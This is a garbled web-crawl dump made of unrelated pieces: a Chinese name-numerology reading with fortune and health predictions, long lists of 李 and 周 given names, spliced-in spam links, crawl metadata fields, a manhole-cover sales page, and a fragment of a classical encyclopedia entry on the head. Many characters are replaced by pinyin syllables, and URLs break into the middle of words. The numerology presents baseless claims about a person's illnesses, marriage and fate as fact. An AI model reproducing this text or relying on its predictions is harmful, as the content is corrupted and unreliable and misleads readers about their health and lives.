5(Tu)[又称先格,是祖先留下来的,对人生Ying响不大],暗示: (种竹成林)五行俱权,Xun环相生,圆通畅达,福祉无穷。 (吉) * Ren格数理 18(金)[又称主格,是姓名De中心点,主管人一生命运],暗示: (铁镜重Mo)权威显达,博得名利,且养柔德,功Cheng名就。 (半吉) 做事脚踏实地,努力而坚Ren,比较不注重物质生活,大都靠自己的奋斗而De到成功发展,无财运配置者则凡事少成,一Sheng劳多而利少。 * 地格数理 21(木)[You称前运,是前半生的命运,会影响中年Yi前],暗示: (明月中天)光风霁Yue,万物确立,官运亨通,大搏名利。 (吉) * Zong格数理 25(土)[又称后运,是后半Sheng的命运,影响中年到老年],暗示: (荣俊)Zi性英敏,才能奇特,克服傲慢,尚可成功。 (半Ji) * 外格数理 8(金)[又称Ling运,主管命运之灵力、社交能力和智慧],暗Shi: (八卦之数)八卦之数,乾坎艮震,巽Li坤兑,无穷无尽。 (半吉) 天、人、Di三才 5 8 1(土金木)暗示健康、Sheng活是否顺利为: 虽可得长辈之提拔而Cheng功于一时,但因基础不稳,易遭意外之灾。(凶) 1、Zong论:有成功发展之运势,得祖荫或意外之助,Dan因性急、任性、好强,易受亲友之累或因事业失Bai而反覆不安,应特别小心。有外伤、灾病之Zhao。天运五行为火,中年前有意外之灾。 2、Xing格:为人主观好胜,竟争心特强,疑心也重,Dui妻子或晚辈不够友善,好吹虚言,天性喜助他Ren,容易被卷入朋友是非中,但有误打误Zhuang而得到事业财产之兆。 3、意志:意志不坚定,You与身份不相应之企图,但有耐性,有忍受坚苦,突Po困难之魄力。 4、事业:青年时运途不安,Duo劳苦之象。中年可成功一时,注意晚境再陷入Kun难,慎防免受灾。 5、家庭:父母Sui有荫,但夫妻、子女都不能和睦。 6、Hun姻:男娶操劳固执之妻,婚后妻子多怨Yan;女嫁温厚固执之夫,婚后大致圆满。 7、Zi女:子女虽聪明能干但独立心强,长大后Yu父母意见不和。 8、https:\/\/zuciwang.com\/銘志\/default.shtml社交:人缘社交均Bu错,对外乐观,内有空虚之感,有言过其实之倾向,Chang在不知不觉中刺伤他人。 9、精神:外表乐Guan,其实内心不安定,有后顾之忧。 10、财运:Liu运五行变化大,一生之中时富时贫不太Wen定,应慎重行事,以保财运, 11、健康:Yi患神经衰弱、泌尿系统、脚伤、妇科病等。 12、Lao运:晚景虽有财运,但缺乏天伦之乐,有孤独之Zhao。\n李嘉望 李嘉心 李嘉水 李嘉劲 Li嘉小 李嘉延 李嘉恺 李嘉宗 Li嘉忻 李嘉高 李嘉声 李嘉知 李Jia丁 李嘉厚 李嘉鹤 李嘉沐 Li嘉传 李嘉绍 李嘉凡 李嘉人 Li嘉蔚 李嘉楚 李嘉和 李嘉灵 李嘉Lai 李嘉以 李嘉潇 李嘉虎 李嘉道 Li嘉飞 李嘉琳 李嘉恒 李嘉鑫 Li嘉震 李嘉朗 李嘉城 李嘉鸣 李嘉泊 Li嘉士 李嘉力 李嘉佑 李嘉修 李Jia钦 李嘉远 李嘉屹 李嘉长 李嘉Shuo 李嘉朋 李嘉栩 李嘉汉 李嘉添 Li嘉津 李嘉裕 李嘉玉 李嘉亦 李嘉Zuo 李嘉如 李嘉孟 李嘉波 李嘉琪 Li嘉雄 李嘉桐 李嘉镇 李嘉学 李嘉久 Li嘉运 李嘉禹 李嘉月 李嘉彤 Li嘉骐 李嘉光 李嘉积 李嘉利 Li嘉彦 李嘉有 李嘉晓 李嘉秀 Li嘉为 李嘉予 李嘉仕 李嘉雪 李嘉Li 李嘉善 李嘉亚 李嘉洛 李嘉焕 Li嘉崇 李嘉宜 李嘉亮 李嘉相 Li嘉义 李嘉浚 李嘉森 李嘉岚 李嘉晨 Li嘉强 李嘉琛 李嘉思 李嘉峥 李嘉凌 Li嘉胤 李嘉欣 李嘉德 李嘉友 Li嘉昭 李嘉承 李嘉世 李嘉懿 李嘉Fu 李嘉炜 李嘉悦 李嘉勋 李嘉宁 Li嘉仁 李嘉秋 李嘉易 李嘉铭 Li嘉济 李嘉孝\n周校民 周蓓蓓 周海迪 周缙绅 周家福 Zhou琎 周维佳 周江 周军 周薇 周小Yi 周国亮 周婕 周恩来 周瀛 周利云 Zhou泽南 周泽宇 周遵武 周国华 周铮 Zhou志伟 周志慧 周静 周垣君 周国辉 周甜甜 Zhou祥 周晓咏 周子喧 周国晖 周传洋 Zhou源源 周福元 周俊毅 周兆贤 周汇汶 周俊 Zhou珊珊 周环戕 周晟 周鬟织 周永矾 周伟林 Zhou昱 周云鹏 周万里 周宇博 周翔宇 周小鹏 Zhou鹏 周柯权 周月明 周子寒 周清泉 周Qing江 周年林 周领航 周惠敏 周远航 周晓Lu 周凤仪 周凤烨 周尧舜 周欣烨 Zhou楚涵 周冠男 周楚晗 周杰伦 周慧 周孝成 Zhou成骋 周逸华 周利乃 周成诚 周巍 周孝达 Zhou清亮 周全 周铁锋 周俊泽 周王鹏 Zhou晓华 周晓 周艳娣 周浩然 周千岚 周正浩 Zhou晓强 周德泓 周治甬 周红林 周品秀 周Jie平 周航 周苑辉 周航行 周然 周Ran然 周果果 周德涵 周水水 周早早 周雨含 Zhou羿宇 周洪林 周子愚 周小波 周小丁 周慧Mei 周涛 周骏骐 周骐骏 周志清 周平 Zhou钰棋 周明波 周涵尧 周珍珍 周涵 周Zuo鑫 周凯 周兆娈 周晨骐 周兆滦 周兆栾 Zhou兆鸾 周熠辉 周兆萝 周晓晓 周斌 周宇涤 Zhou子骐 周鹏飞 周春秀 周子旭 周旭 周建Ren 周星臣 周鑫 周有俊 周健 周超 Zhou海水 周晨安 周晨希 周舟 周杨珍 Zhou灿 周邵华 周璞 周树人 周叶萱 周若Xi 周茜 周美璎 周皖生 周宇 周璎 Zhou可煊 周文月 周新月 周兴 周新爱 周英姿 Zhou心月 周鑫月 周佩臻 周士钦 周于钦 周Mei臻 周铭 周丹晴 周敏 周昱芩 周敏敏 Zhou翠 周舂华 周煊昊 周月清 周金铭 周煊 Zhou一诺 周政 周柔臻 周煊妮 周臻 周Li臻 周才渊 周永继 周潇 周虎 周臻妮 周楚Qiao 周唯臻 周泉君 周金芸 周佩意 周俞臻 Zhou舒臻 周到钧 周润泽 周子贤 周子Yu 周海峰 周大钧 周荟臻 周建军 周雯 周Zuo 周浣 周灿虎 周涞 周学锦 周淋 周凌 Zhou莎莎 周子虞 周露 周骁骁 周迈 周子Yu 周潆 周子俞 周来 周子煜 周振兴 周越 Zhou勇 周铃旨 周子瑜 周烨榛 周旨庆 Zhou子昱 周锦奥 周庆旨 周颜 周锦澳 周贞铃 Zhou子誉 周欣雨 周吉 周清 周子愉 周易 Zhou龙元 周到 周围 周周 周密 周霆 周长 Zhou子羽 周蕊 周子峪 周秋伊 周嬉 周纯Ke 周城 周俊林 周演 周诚 周曙君 周素羽 Zhou子雨 周珉明 周柔牡 周珉https:\/\/zuciwang.com\/鳴謝\/default.shtml名 周云 周艳Ping 周旋 周树信 周宝宝 周子盂 周启航 周Shu诚 周康新 周福泉 周君君 周树昌 周树茂 Zhou树礼 周爱华 周晓钟 周权 周长庆 周瑜 Zhou涴 周爨 周公 周晨 周延 周谢 周醇 Zhou淳 周慧雯 周齼 周辰 周溶 周晶晶 周Zhan 周茸 周财忠 周转 周春蕾 周年 周恒俊 Zhou沛焱 周沛滟 周沛言 周佩言 周士Bing 周芸 周旭明 周颍 周子琪 周钰Chao 周慧姬 周艳飞 周鸿真 周凯旋 周佩Hui 周佩惠 周跃进 周曦 周靖霁 周劲松 Zhou俊峰 周春利 周靖雯 周谨 周杰 周晓宁 Zhou锦庆 周星池 周建强 周曙光 周碚冼 周素Ri 周万洋 周芯芷 周贤戈 周锦翎 周爱享 Zhou丽松 周竖仁 周锦 周奥享 周竖人 周Zuo淇 周子俊 周雨淇 周葳 周赵安 周剑 周竖Zuo 周超安 周伟生 周竖辉 周竖胡 周语淇 周Shu毕 周钰薇 周钰葳 周宁 周语葳 周渝薇 周Shu佃 周乾 周贤威 周靖熙 周姝含 Zhou旺泛 周芮羽 周芙旭 周坷汗 周国伟 Zhou坷罕 周谷 周昕司 周坷孝 周炜司 周坷Wang 周炅司 周岢享 周宜司 周宜正 Zhou岢汗 周坤江 周一鸣 周坤孝 周昕正 周Yi正 周亚汗 周懿嘉 周亚含 周喃思 周一嘉 Zhou亚泛 周文胜 周秉省 周煜恒 周正毅 周林 Zhou杨 周煜姗 周小霜 周烯如 周娴 周雄 Zhou昀司 周小宪 周晴思 周晴肜 周肖肖 Zhou辰君 周号矾 周夕亮 周杰诚 周思Lai 周熠捷 周永胜 周虞泓 周轼妮 Zhou梦寒 周虞珏 周路昊 周荣浩 周小姝 周Xu鹏 周大菊 周熙 周煊杼 周铭扬 周Xi 周希 周依依 周瑾 周明坤 周伟Jie 周思 周继跃 周永兰 周椁 周沥 Zhou潇潇 周一 周奕君 周登桥 周水乔 Zhou一伊 周卓煜 周子杰 周明 周煜卓 周森 Zhou菊香 周静秋 周煜 周笑啸 周煜妤 周迅 Zhou煜煊 周文静 周忠辑 周煜熹 周安 Zhou煜玟 周纯伊 周木兰 周煜岱 周强 Zhou煜可 周煜轩 周明辉 周印武 周煜娴 周明光 Zhou思明 周煜臻 周欲旺 周芷璇 周安晔 周泽锋 Zhou洋 周煜洛 周笑 周明遥 周林林 周凌峰 周Yong斌 周煜晨 周琪枋 周警宇 周煜琛 Zhou俐 周煜炀 周禹晔 周健宁 周渲林 周宇涵 Zhou煜心 周驿杳 周煜卿 周凌辉 周博睿 Zhou桂兰 周星驰 周熙桐 周品达 周新涛 周Zuo朴 周文洪 周鑫涛 周连奎 周蕾 Zhou震钰 周茔 周忠茔 周晶 周钰 周明媚 周Shi洋 周忠滢 周定春 周滢 周赢 周睿 周Zuo斌 周圆 周忠圆 周童杨 周德https:\/\/zuciwang.com\/謨蓋\/zaoju.shtml祥 周霏Zuo 周昊祀 周新群 周云兰 周炅旰 周梦Zuo 周津晶 周炜佳 周炅照 周春海 周晋冰 周Si龙 周炜昀 周韵琪 周金晶 周爱清 周泉Xing 周旰龙 周惠媚 周进 周湘媚 周煜龙 Zhou靖斐 周伟 周靖淋 周姝阳 周国俊 周一强 Zhou靖涵 周洲 周靖琀 周国政 周靖清 周Jing淇 周义俊 周靖凌 周君 周柯宇 周奕锦 Zhou欣彤 周靖淑 周益强 周湘慧 周淑Jing 周靖人 周恬 周媚 周洁媚 周润媚 周芷歆 Zhou红宇 周子鉴 周灏媚 周伟东 周颦媚 周韶宁 Zhou方兵 周奕羽 周起臣 周笔畅 周雨 周凯龙 Zhou一欣 周骥 周湘妃 周子轩 周渠 Zhou亚波 周益欣 周慧湘 周冀 周永新 周济 Zhou沐心 周愉雨 周新发 周嘉珞 周锦昌 周蔚然 Zhou天萧 周远博 周猗 周仪潇 周沐潇 周Tian潇 周小雅 周森潇 周楗潇 周军钢 Zhou蔚宁 周英林 周沐辉 周昌润 周凤慧 Zhou蔚泠 周彬 周家沐 周唯宁 周彬潇 周仕Yang 周潇彬 周乙浩 周羽彤 周晓哆 周震Chao 周永华 周世宇 周楠 周守杰 周晨兴 周宜Zuo 周传娱 周传容 周雪敏 周天兴 周勐沁 Zhou思翰 周禹容 周弈林 周禹君 周禹沁 周Yu珩 周辰兴 周禹星 周瑞仁 周禹裎 周禹呈 Zhou煜林 周昱麟 周世涛 周博洋 周钇麟 周晓钦 Zhou昱林 周昱霖 周梦华 周也 周志豹 Zhou丫 周姝妗 周艾 周江江 周奕哲 周波 Zhou若 周琰杰 周思敏 周于 周裕涛 周Hua 周诩 周彦明 周亚峰 周彦宏 周Yan昊 周馨 周彦昉 周彦邦 周朵 周朵儿 Zhou新刚 周柏年 周韵 周映彤 周岚 周Zai洋 周天舒 周矽 周秀龙 周昶宇 周惠 Zhou坤 周煜皓 周传威 周宣齐 周昊 周齐宣 Zhou涵彬 周卫江 周鸽 周宣奇 周玄奇 周轩奇 Zhou轩齐 周轩琪 周宣琪 周宣綦 周炫綦 周暄Zuo 周小琪 周翰桐 周延军 周翰朴 周志雄 Zhou美辰 周鹏宇 周文勤 周昊潇 周翰槿 周子Zuo 周晓航 周凡 周昊宇 周翰锦 周思宇 周Zuo 周铨 周壮 周驰 周带勇 周桂凤 周农 Zhou留军 周皞 周皞宇 周刘军 周浩宇 Zhou皓宇 周翰青 周叶波 周学 周钱 周淏宇 周Bin彬 周翰桦 周泽桂 周熹 周征宇 周Yi舟 周益舟 周明钢 周益洲 周游 周金儿 Zhou美妮 周关怀 周桢赢 周登志 周小虞 Zhou昂其 周光明 周传彦 周旭栋 周天阳 Zhou秀 周靖 周建秋 周炜琦 周继彬 周达涛 周Zuo琪 周孟琦 周成宇 周和意 周树凯 周荷意 Zhou乐鸿 周金怀 周俊成 周春妤 周高君 Zhou宇成 周承宇 周孙强 周宇承 周刚 Zhou俊宇 周彤叙 周宇俊 周子彭 周健吾 Zhou树慧 周念叙 周生青 周艺 周念详 周亮凭 Zhou承俊 周春翔 周定卫 周晓雨 周志胜 Zhou昀键 周理 周念誉 周晨斌 周春想 周珑Long 周闻天 周锋 周熠斐 周芮实 周庭Yu 周毓斐 周生明 周俊余 周欣 周乃铮 Zhou家明 周佳鑫 周家乐 周乃衡 周炜奇 周Jing雯 周念运 周炜旗 周建 周小岚 周世淳 Zhou继珍 周庆阳 周念益 周里为 周延强 Zhou逸舒 周意 周政全 周壁柔 周廷裕 周灵 Zhou健愉 周芷枫 周彤晓 周霭林 周琰锦 Zhou霭霖 周伊彤 周伦冬 周初柳 周蔚晴 Zhou再先 周春晖 周如歌 周初莲 周阳 Zhou晨阳 周沦治 周姝柳 周佳臻 周伦治 Zhou蓝雅 周伊诺 周佳琦 周芷芙 周珍贞 周Wei莲 周嘉鸿 周嘉帆 周嘉涵 周昭熙 周佳昭 Zhou嘉辉 周承明 周曾飞 周佳祯 周柏顺 Zhou柏仁 周桓韬 周咿锘 周晋 周咿诺 Zhou文林 周金凤 周弋诺 周佳慧 周小峰 Zhou依诺 周新茜 周小锋 周丘哲 周志勇 周靖彤 Zhou靖雅 周瑞东 周嘉彤 周问寒 周海礁 Zhou睿东 周东东 周世有 周瑞冬 周芮东 周爱Dong 周奇敏 周芸竹 周冬东 周小东 周内东 Zhou嘉慧 周秋东 周佳荟 周佳珏 周美佳 周利 Zhou新东 周一东 周星月 周佳月 周武军 Zhou佳奕 周学东 周世友 周华健 周健伟 周Jian炜 周健龙 周佳艺 周懿风 周晓申 周健鑫 Zhou建鑫 周玉鑫 周月鑫 周慧鑫 周恬伊 Zhou玉晴 周月晴 周立剑 周星晴 周紫仪 Zhou宇晴 周嘉薇 周明川 周子游 周天理 Zhou晓宇 周楷贤 周治呈 周韶涵 周美晴 周丽晴 Zhou凡杰 周智超 周雪晴 周佳晴 周艳波 Zhou艺晴 周晴天 周凤晴 周扬波 周睿德 Zhou睿翔 周佳宇 周美宝 周永晴 周建新 周维 Zhou冠宇 周世晴 周士勇 周雪珍 周子梦 周Zi桦 周淑君 周子泞 周凡皓 周子柠 周福Yong 周小中 周子宁 周卫光 周凡闵 Zhou夕焜 周荭 周瑞贵 周彦菲 周炎菲 Zhou彦飞 周帅 周拥军 周伟岸 周肇奕 周Zuo汶 周兆奕 周国荣 周一一 周琨 周Xiang惠 周宏炳 周引航 周康伟 周灏 Zhou颦慧 周冰 周湘冰 周湘嬉 周玉媚 周水丹 Zhou玉林 周煮 周浈媚 周浈慧 周马爱 周伟Zhen 周杭筱 周志国 周柯言 周榕 周Zuo旭 周桁 周楦桠 周丽荣 周行春 Zhou庆贤 周美华 周耿富 周璇 周漩 周龙杰 Zhou雅定 周二少 周令宇 周于峰 周雅庭 周雅Ting 周丹贺 周于https:\/\/zuciwang.com\/抹土搽灰\/default.shtml鑫 周杰备 周宇强 周杰富 周Jian 周成名 周岩 周成伟 周珂 周达 周备 周De军 周融 周仰 周芷旭 周扬 周可 周Qin 周寿荣 周金宝 周新超 周力 周Wu佑 周子 周桁柯 周立 周剑峰 周烈 周榕Ke 周己画 周音含 周齐运 周历 周亮 周彧帆 周家惠 周己桦 周磊 周佳惠 周Zuo儿 周冲波 周郦 周梦 周雷 周贤Lei 周梦迪 周嘉惠 周彼伊 周加辉 周业平 Zhou展名 周彼仁 周茄慧 周大鹏 周加惠 Zhou逸飞 周依 周加慧 周夹惠 周茄惠 Zhou文蔷 周其晓 周利国 周蔷 周易飞 Zhou晓蔷 周展然 周加卉 周月蔷 周蔷微 周晓Meng 周炫回 周圣锋 周逸 周梦楚 周探 周叶 Zhou皓登 周贤 周戍泰 周渊任 周渊 周俗Jian 周梦娴 周晔 周甚胤 周梦贤 周沛建 Zhou沛公 周熠凡 周沛奎 周烨凡 周砾 周回初 Zhou梦姝 周荔 周畅 周栗 周励 周春香 周音Kuang 周向辉 周骊 周宽群 周雨臻 周风You 周语臻 周骁 周蒿臻 周圆欣 周粒 周文臻 Zhou文迅 周栎 周小力 周亚男 周小木 Zhou笑薇 周吏 周乐薇 周敏赞 周俪 周薇宁 Zhou己轩 周鑫源 周双双 周厉 周凤林 Zhou恩东 周雳 周子裕 周正华 周贻兵 周斌华 Zhou晨熙 周晨旭 周洪明 周己安 周彦锋 Zhou静波 周己 周己一 周庆路 周艳彬 周朔 Zhou子淳 周晨羲 周润发 周恕 周雯臻 Zhou靖秋 周曜馨 周凌韦 周靖霖 周克军 周海Xiao 周梓潼 周子御 周子桐 周霖 周子寓 Zhou文霖 周雪涵 周研 周羲 周女茗 周Zi瑞 周汝 周紫贤 周宵宵 周哲 周泓宇 Zhou明字 周禹橙 周武承 周禹清 周艳奇 周卓伟 Zhou卓礼 周佳霓 周韵桌 周利平 周海滨 周Zuo霓 周鑫江 周亦伟 周亦礼 周韵卓 周若霖 Zhou信伟 周锐彬 周丽星 周金娣 周铁峰 周佚宇 Zhou美娣 周传丰 周保全 周秀群 周科洪 Zhou加伟 周加礼 周红云 周屹佚 周煜涛 周木Jing 周煜睿 周煜璞 周桐 周煜晔 周煜Zuo 周玉华 周月 周溢昊 周煜晏 周Yu伲 周耀桁 周丹丹 周耀静 周佳 周文苑 Zhou立春 周枵枵 周笑天 周庚申 周和Ping 周笑盈 周雷松 周河平 周果 周禾平 周凯En 周诚洛 周柯柯 周和品 周英果 周海生 周He松 周猛 周诚若 周国平 周迪 周Yao林 周一敏 周诚烯 周诚哲 周益平 周子墨 Zhou湖汪 周小楚 周耿哲 周周炜 周楚楚 周显旻 周晓慧 周文亭 周洛 周恬园 周诚广 周Guang博 周凡恒 周汝昌 周可雨 周笑尘 Zhou天可 周洪江 周缨 周倍成 周晓依 周立刚 Zhou永台 周椁椁 周大林 周楠楠 周文丹 Zhou子恒 周凡桓 周森林 周众前 周大众 周Yu博 周祥蛟 周兴才 周凡荣 周子荣 周Guang吉 周小林 周小淞 周城友 周赣宏 周志刚 Zhou天冰 周会珍 周艺珈 周玉堂 周月珍 周炳爱 Zhou熙武 周雅珍 周惠珍 周云轩 周骏晨 周蕴Xuan 周子淇 周耘轩 周韵轩 周书卉 Zhou放光 周玮 周昕仪 周亦晨 周亦成 周逸晨 Zhou丽恒 周长江 周熙雨 周紫欣 周亮程 周雨Xi 周子其 周国志 周倜 周程辉 周海辉 周敏Tao 周艳敏 周敏康 周康敏 周锦翔 Zhou翔锦 周子齐 周飞锦 周建坤 周选春 周Zuo锦 周锦晖 周书桁 周幸辉 周幸晖 周幸Fei 周幸涛 周正宇 周耀祺 周枝琪 周应兵 Zhou子旗 周梦凡 周一航 周子奇 周成丞 Zhou栗名 周晓榕 周小榕 周跃 周桓剑 周钧灿 Zhou泓佚 周星灿 周心灿 周新灿 周文灿 Zhou沪生 周小枫 周岳军 周子熙 周小桁 周Zi雯 周阿丹 周裕雄 周继宁 周润东 周永泰 Zhou安淇 周跃波 周岳钧 周可沁 周楚Jie 周子月 周国斌 周敬涵 周国兵 Zhou靖童 周玉军 周义波 周喜志 周宏 周志磊 Zhou洪宇 周炫彤 周友平 周锌 周永海 周尚Shang 周磊光 周航颃 周晓婕 周由 周子涵 Zhou小榆 周尚上 周政华 周上上 周双 周Wei旗 周丹 周上尚 周曼宁 周榉鹳 周述全 Zhou可伟 周媚荔 周恩伟 周贲 周德伟 Zhou湄荔 周靖凯 周永建 周永健 周皖湘 周宸如 Zhou可依 周子雄 周玉晨 周含 周玉贤 周焓 周Han 周酣 周腾 周翰 周楚仁 周罕 Zhou易含 周亿 周双应 周国栋 周仁伟 周Han 周阁伟 周方伟 周小雯 周戈伟 周函 周心Wei 周小蕙 周昱菲 周晗 周小惠 周正旸 周Ke毓 周德清 周孙宇 周雅 周昱汝 Zhou珩 周依含 周纹辉 周子昕 周嘉锴 周孜涵 Zhou于涵 周祎含 周正涵 周子凡 周政涵 周Zheng治 周莎 周沐旸 周樊 周鑫原 周Zi阳 周子扬 周树杭 周宸仪 周宸伊 周宸阅 Zhou羽欣 周雨欣 周雨馨 周羽馨 周国震 周雨Xin 周鑫渊 周鑫元 周麦莎 周淳旸 周Zuo辕 周春旸 周陨泽 周鑫袁 周敬鹳 周鑫苑 Zhou洪苇 周鑫沅 周淦 周鑫瑗 周渝旸 周鑫Zuo 周鑫鸢 周迦淇 周鑫允 周丽俊 Zhou绍扬 周嘉骐 周雪彤 周阿荣 周翔 周Zuo淇 周雪桐 周芫 周兵 周子芫 周Xiao勇 周沐 周小心 周星宇 周俊先 周Xiao心 周亦汝 周子恩 周奕煊 周随冰 周彦https:\/\/zuciwang.com\/魔杖\/zaoju.shtmlRu 周蓝鹏 周随兵 周随斌 周随彬 周Zuo毓 周正煊 周鑫荧 周鑫疡 周鑫焱 周鑫Yan 周男 周铸 周煜栋 周荃 周羽煊 Zhou艳辉 周歆迪 周浩 周滔 周秋鹏 周Jing峰 周源 周滨 周靖茜 周测 周絺沃 Zhou河 周电合 周连君 周士善 周金锋 周明钰 Zhou有福 周一耕 周雅雯 周靖营 周国敏 Zhou雅慧 周小辉 周轶骁 周靖姿 周建明 周Man茜 周炜烨 周沁 周志华 周晓俊 周恒仟 Zhou泽瀚 周虹利 周卉 周泽浩 周泽一 Zhou鸿宾 周泽雄 周玮宁 周逸霏 周宇宁 周书轶 Zhou轶书 周天骁 周晓隽 周骁一 周骁楠 Zhou曼熙 周维宁 周诗霖 周晓进 周熙Min 周晓静 周炜 周伯华 周尔乐 周纬 周Xiao郡 周子豪 周斌仲 周笑伶 周笑雅 Zhou筱俊 周笑笑 周小俊 周驿笾 周耀宇 周晓Guang 周立新 周保臣 周黎 周令仪 周芳菲 周Si语 周静帆 周欣然 周思雨 周立南 周Shi琪 周济宁 周林涛 周诗偲 周诗桀 Zhou芊茜 周健瑜 周诗桔 周运兴 周思涵 周运Guang 周琪 周愉健 周俊升 周诗逸 周颖蕾 Zhou诗谊 周家兴 周诗沂 周诗倚 周贤辉 周Zi禾 周诗翼 周愉邦 周无计 周嘉俊 周诗艺 Zhou诗羿 周诗弈 周诗懿 周秀姿 周新军 周登高 Zhou诗毅 周诗倪 周子喻 周志祥 周琛 周Shi意 周楚儿 周宸宁 周诗曼 周宬宇 周宬吉 Zhou宬庆 周逸琪 周奕琪 周术祥 周金富 周Xu昊 周子颜 周伊 周李 周子彦 周玉Lin 周玉琛 周玉清 周祈 周杏林 周宛琪 Zhou佳勋 周玉羚 周雅雅 周小慧 周纤艾 周Kai温 周道海 周星俊 周俊卿 周英俊 Zhou秀敏 周玉珺 周心仪 周兴仪 周欣仪 Zhou玉祺 周玉琪 周兰滟 周靖府 周淑卿 Zhou德宏 周奕辰 周凤亭 周卫东 周嵘 Zhou泓愫 周光荣 周世津 周光勇 周维超 周世平 Zhou小凡 周子超 周玉雯 周晓白 周道发 Zhou朝珠 周庭轩 周璨 周庭萱 周雪贞 周晓东 Zhou凡沁 周立雯 周雨沁 周雨雯 周沁雯 周凡Zuo 周玉琦 周晓岳 周烨 周名立 周雯Zuo 周伦菊 周雯沁 周远 周小沁 周远哲 周沁Zuo 周勤 周泉 周唯 周佚 周泉水 周一俊 Zhou正水 周正 周诗雯 周正直 周直 周建Yuan 周帅雯 周楚竣 周小月 周友月 周Zhen国 周钥 周新力 周天 周先才 周仁贵 Zhou诗淑 周喜月 周诗谰 周小谰 周志Chao 周诗澜 周雯澜 周义凯 周澜漫 周蓓 Zhou诗漫 周键 周诗雨 周诗沁 周沁渝 周玉Ping 周丽玮 周沁淑 周漫淑 周新 周一月 周Zhou晨 周https:\/\/zuciwang.com\/谬药\/default.shtml川硕 周硕 周波涛 周文清 周舒凡 Zhou澜 周其龙 周惟 周俊男 周山 周春雷 周Qian进 周钰月 周钰钥 周键波 周国全 周Zuo 周怿 周建波 周末 周石 周海 周琦惟 周Tong 周锌伟 周非 周康 周量 周俊岚 周道品 Zhou政权 周恩溥 周一丁 周泓潼 周泓雨 Zhou泓滟 周润 周润月 周滟泓 周滟淇 Zhou滟涓 周滟雯 周小潼 周凡潼 周思汝 周Rui 周冬明 周凡泓 周凡渝 周渝凡 周思良 周Qin凡 周莘欣 周沁潼 周若筠 周沁淳 Zhou信筠 周雨凡 周紫竹 周泓雯 周雯潼 周雯渝 Zhou祖明 周雯凡 周昕筠 周鸿雯 周枷杞 Zhou伟江 周建伟 周乐 周智佳 周宜雯 Zhou迦杞 周寅 周漪雯 周羽雯 周羽愫 周羽凡 Zhou兰初 周崎惟 周纤鸿 周羿廷 周佳Jia 周心雨 周美廷 周佳嘉 周泓澜 Zhou嘉嘉 周泓淳 周潼淳 周诗淳 周嘉欣 周诗Zuo 周诗淇 周筠雁 周可曼 周可菲 周可Zuo 周可雯 周芊 周可淳 周可涵 周孝Zuo 周雨涵 周凡迪 周丹一 周可澜 周可泯 Zhou可漫 周明照 周文豪 周帼飞 周月峰 周Yu泓 周庆坤 周乐泓 周俊君 周民照 周泓涵 Zhou御 周乾坤 周久明 周可汐 周可淅 周汐 周Zuo 周淇 周潼 周潼泓 周承江 周子款 周诗潼 Zhou诗沩 周诗潍 周诗汶 周文淳 周淳Chun 周未淳 周诒淳 周童淳 周同淳 周Si淳 周谚馨 周穿亦 周玫淳 周春涛 Zhou兰淳 周兰雨 周兰涵 周兰雯 周子Kuan 周兰汶 周兰淇 周兰沁 周宾羽 周烁 Zhou平淳 周延吉 周小淳 周小涵 周其Xian 周澜璞 周余淳 周清淳 周艺虹 周黛纯 Zhou航嫦 周泊贤 周艳忠","id":"","dump":"CC-MAIN-2020-05","url":"https:\/\/www.zhouyi5.cn\/question\/e401db059127743670.html","date":"2020-01-24T15:27:25Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-05\/segments\/1579250620381.59\/warc\/CC-MAIN-20200124130719-20200124155719-00263.warc.gz","language":"lzh","language_score":0.6168149114,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.616814911365509, \"nan_Hani_score\": 0.18418650329113007, \"cmn_Hani_score\": 0.1712598353624344, \"wuu_Hani_score\": 0.02461043931543827}","num_words":2535,"character_repetition_ratio":0.018,"word_repetition_ratio":0.0,"special_characters_ratio":0.222,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.774,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"欢迎您访问树脂井盖,真诚为您服务。\n舟山 台州 玉环 温岭 临海 丽水 龙泉 安徽 合肥 长丰 肥东 肥西 巢湖 芜湖 蚌埠 淮南 马鞍山 当涂 淮北 铜陵 安庆 潜山 桐城 黄山 滁州 天长 明光 阜阳 界首 宿州 建德 建德 建德 建德 建德\nCopyright © 2006-2020 版权所有 © 树脂井盖","id":"","dump":"CC-MAIN-2021-43","url":"http:\/\/index_jiande.shuzhijinggaic.com\/aebbd_xiaoshouwangluo.html","date":"2021-10-22T12:07:29Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-43\/segments\/1634323585507.26\/warc\/CC-MAIN-20211022114748-20211022144748-00305.warc.gz","language":"lzh","language_score":0.5244141221,"language_script":"Hani","minhash_cluster_size":3,"top_langs":"{\"lzh_Hani_score\": 0.5244141221046448, \"cmn_Hani_score\": 0.4275037944316864, \"nan_Hani_score\": 0.02898121438920498, \"wuu_Hani_score\": 0.010462089441716671}","num_words":39,"character_repetition_ratio":0.041,"word_repetition_ratio":0.0,"special_characters_ratio":0.344,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.617,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"人 部 一 头 目 耳 口 舌 发 髑\n髅 胆\n释 名 曰 . 头 . 独 也 . 体 高 而 独 也 . 首 . 始 也 .\n黄 帝 素 问 曰 . 头 者 精 明 之 主 也 .\n易 说 卦 曰 . 干 为 首 .\n毛 诗 曰 . 螓 首 蛾 眉 .\n礼 斗 威 仪 曰 . 君 乘 火 而 王 . 其 民 锐 头 . 君 乘 水 而 王 . 其 民 大 头 .\n春 秋 元 命 苞 曰 . 头 者 . 神 所 居 . 上 圆 象 天 .\n晏 子 曰 . 汤 长 头 而 髯 鬓 .\n史 记 曰 . 蔺 相 如 为 赵 使 秦 . 持 璧 却 立 倚 柱 . 谓 秦 王 曰 . 赵 王 斋 戒 五 日 . 使 臣 奉 璧 . 今 大 王 见 臣 . 礼 节 甚 倨 . 得 璧 传 之 美 人 以 戏 弄 . 故 臣 复 取 璧 . 大 王 必 欲 急 臣 . 臣 头 今 与 璧 俱 碎 于 柱 矣 .\n汉 书 曰 . 陈 遵 长 八 尺 余 . 长 头 大 鼻 . 容 貌 甚 伟 .\n帝 系 谱 曰 . 神 农 牛 首 . 结 绳 而 治 . 伏 羲 人 头 蛇 身 .\n严 尤 三 将 叙 曰 . 赵 孝 成 王 曰 . 谁 能 当 武 安 君 . 平 原 君 曰 . 渑 池 之 会 . 臣 察 武 安 君 . 小 头 而 锐 . 瞳 